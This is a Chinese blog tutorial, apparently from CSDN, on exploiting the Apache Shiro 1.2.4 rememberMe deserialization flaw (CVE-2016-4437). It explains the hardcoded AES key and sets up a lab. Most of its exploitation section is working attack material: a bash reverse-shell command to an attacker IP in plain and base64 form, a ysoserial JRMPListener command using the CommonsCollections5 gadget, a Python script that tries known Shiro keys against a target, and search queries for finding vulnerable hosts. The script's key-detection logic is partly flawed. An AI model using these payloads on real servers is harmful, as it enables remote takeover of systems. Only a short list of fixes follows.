• Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)


    目录

    前言:

    (一)基本介绍

    0x01 影响版本

    0x02 漏洞分析

    根据加密的顺序,不难知道解密的顺序为:

    登入

     验证

     (二)环境搭建

    1、本地复现

    0x01 源代码

    0x02  pom.xml修改:

    0x03 tomcat服务器

    0x04  ysoserial-jar依赖

    0x05  访问端口

     2、vulhub

     访问端口:

     (三)利用工具和方式

    1、JRMP协议/服务器

    2、ysoserial工具

    利用方式1

     利用方式2 

    3、利用流程

    4、全部利用到的工具

     (四)利用实现

    1、漏洞检测与发现

    2、检测工具

    3、流程

     0x01 攻击机kali监听端口

     0x02 Payload

    0x03 启动JRMPListener:

     0x04 python生成Cookie

     0x05 抓包发送

    (五)修复和防御


    前言:

            关于shiro在2019年爆出来的漏洞,利用的条件相对来说比较苛刻,不仅要有一定的权限登入进去,进去之后密钥爆破也不一定可以成功,环境不好搭建,感兴趣的师傅可以看看Shiro RCE again(Padding Oracle Attack)-安全客 - 安全资讯平台[SHIRO-721] RememberMe Padding Oracle Vulnerability - ASF JIRA本篇文章介绍的是有关shiro反序列化的漏洞,

    (一)基本介绍


    SpringBoot整合框架——集成SpringSecurity、shiro_jinyouxin的博客-CSDN博客

    0x01 影响版本

    Apache Shiro <= 1.2.4

    0x02 漏洞分析

    Shiro提供了RememberMe的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。

    Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行序列化、AES加密、Base64编码操作。

    根据加密的顺序,不难知道解密的顺序为:


     

    • 获取rememberMe cookie
    • base64 decode
    • 解密AES
    • 反序列化

    但是,AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

    登入


     验证


     (二)环境搭建


    1、本地复现

    0x01 源代码

    • 从github下载: https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4
    • IDEA打开   shiro-shiro-root-1.2.4\samples\web

    0x02  pom.xml修改:

    1. <dependency>
    2. <groupId>javax.servlet</groupId>
    3. <artifactId>jstl</artifactId>
    4. <!-- 将jstl设置为1.2 -->
    5. <version>1.2</version>
    6. <scope>runtime</scope>
    7. </dependency>
    8. ..... <dependency>
    9. <groupId>org.apache.commons</groupId>
    10. <artifactId>commons-collections4</artifactId>
    11. <version>4.0</version>
    12. </dependency>

    0x03 tomcat服务器

    0x04  ysoserial-jar依赖

    0x05  访问端口

     2、vulhub

     访问端口:

     (三)利用工具和方式


    1、JRMP协议/服务器


    JRMP全称为Java Remote Method Protocol, 也就是Java远程方法协议。其中 RMI 使用了 JRMP,保证了数据可以正常的传输。

    2、ysoserial工具


    由前面的原理的介绍,我们知道它是经历过AES加密,那么我们就必须要知道AES加密的key;还有一个重点就是我们要将利用恶意的类进行序列化,找到现成可以利用的CC链,从而实现攻击,所以我们在之前的pom文件里面引入了相关依赖。

     

            此款攻击可以检测Java项目是否有反序列化漏洞,并且可以找到该漏洞的利用链,我们先进行编译打包,mvn package -D skipTests,我们常常把这样的利用工具称为POP Gadgets,面向属性编程。

    利用方式1


    payloads/JRMPListener <> exploit/JRMPClient

     利用方式2 

    exploit/JRMPListener <> payloads/JRMPClient

    原理

    1. https://www.jianshu.com/p/94aad7ee45b3
    2. https://www.sohu.com/a/447023879_120045376
    3. http://t.zoukankan.com/nice0e3-p-14280278.html

    3、利用流程


    1. 先构建一个恶意命令,它的作用是让漏洞服务器连接到我们启动的JRMP服务器
    2. 把这个命令序列化、AES加密、base64编码(payload2),写入到Cookie,发给漏洞服务器
    3. 漏洞服务器:base64解码、序AES解密、反列化,执行恶意命令,连接到JRMP服务器
    4. 继续发送恶意payload1,利用CC等通用库的漏洞执行命令

    4、全部利用到的工具


     (四)利用实现


    1、漏洞检测与发现

    在set-cookie是否存在remeberMe=deleteMe,fofa 语法搜:
    header= "rememberme=deleteMe" 、header= "shiroCookie"

    2、检测工具

    本人水平有限,直接使用别人的一件利用工具,环境是基于 JDK8

    1. shiro_tool.jar 纯字符版
    2. ShiroExploitV2.51
    3. shiro_attack-v2.0.jar

    3、流程

     0x01 攻击机kali监听端口

     0x02 Payload


    反弹连接命令:

    bash -i >& /dev/tcp/ 192.168.1.132/7777 0>&1
    shiro对cookie的处理过程是:

    所以先进行Base64进行加密。

    • 工具:https://ares-x.com/tools/runtime-exec/

     得到:

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTMyLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}

    0x03 启动JRMPListener:


    使用kali攻击机(192.168.1.132),生成监听端口,利用链可以通过前面工具找到。

    1. java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888
    2. CommonsCollections5 "bash -c
    3. {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzIvNzc3NyAwPiY
    4. x}|{base64,-d}|{bash,-i}"

     0x04 python生成Cookie


    • Kali机器(192.168.1.132)

    •  附:kali 切换python版本命令
    kali配置
    update-alternatives --install /usr/bin/python
    python /usr/bin/python2 100
    update-alternatives --install /usr/bin/python
    python /usr/bin/python3 150
    切换版本
    update-alternatives --config python
    在这里给出大佬Only Tao写的脚本
    1. import base64
    2. import uuid
    3. import requests
    4. from Crypto.Cipher import AES
    5. def encrypt_AES_GCM(msg, secretKey):
    6. aesCipher = AES.new(secretKey, AES.MODE_GCM)
    7. ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
    8. return (ciphertext, aesCipher.nonce, authTag)
    9. def encode_rememberme(target):
    10. keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ=='] # 此处简单列举几个密钥
    11. BS = AES.block_size
    12. pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    13. mode = AES.MODE_CBC
    14. iv = uuid.uuid4().bytes
    15. file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
    16. for key in keys:
    17. try:
    18. # CBC加密
    19. encryptor = AES.new(base64.b64decode(key), mode, iv)
    20. base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
    21. res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
    22. if res.headers.get("Set-Cookie") == None:
    23. print("正确KEY :" + key)
    24. return key
    25. else:
    26. if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
    27. print("正确key:" + key)
    28. return key
    29. # GCM加密
    30. encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
    31. base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
    32. res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)
    33. if res.headers.get("Set-Cookie") == None:
    34. print("正确KEY:" + key)
    35. return key
    36. else:
    37. if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
    38. print("正确key:" + key)
    39. return key
    40. print("正确key:" + key)
    41. return key
    42. except Exception as e:
    43. print(e)
    • 生成payload
    1. pip3 install pycrypto #先安装加密模块
    2. python3 shiro.py 192.168.1.132:8888

     0x05 抓包发送


    勾选remember me,火狐浏览器抓登录的包,把刚刚用py处理的payload复制上去。

     这里实际上对目标服务器做了二次请求,第一次请求是我们刚刚用BP发送的,第二次请求是利用到的jso工具发送的,它会连接到启动LRMP服务的8888端口,再进行反弹连接。如果不熟悉此过程可以看看下面如何进行反弹连接的,Redis未授权描述的更详细https://blog.csdn.net/m0_61506558/article/details/126738073?spm=1001.2014.3001.5501

     Redis未授权访问漏洞_jinyouxin的博客-CSDN博客

    (五)修复和防御


    • 升级Shiro
    • 安全产品     看流量
    • 防御工具库   https://github.com/ikkisoft/SerialKiller/

  • 相关阅读:
    SAAS-HRM系统概述与搭建环境
    从零实现RPC框架之 7: 基于注解的服务自动注册
    [go 面试] 一致性哈希:数据分片与负载均衡的黄金法则
    二、集成学习:Boosting 之 AdaBoost_分类问题
    四川思维跳动商务信息咨询有限公司可靠吗?
    MySQL的主从复制与读写分离详解
    好用的办公软件有哪些
    Vue+springboot美发美容化妆品产品商城系统
    阅读笔记——MetaAge: Meta-Learning Personalized Age Estimators
    狂神说-Springcloud笔记
  • 原文地址:https://blog.csdn.net/m0_61506558/article/details/127713894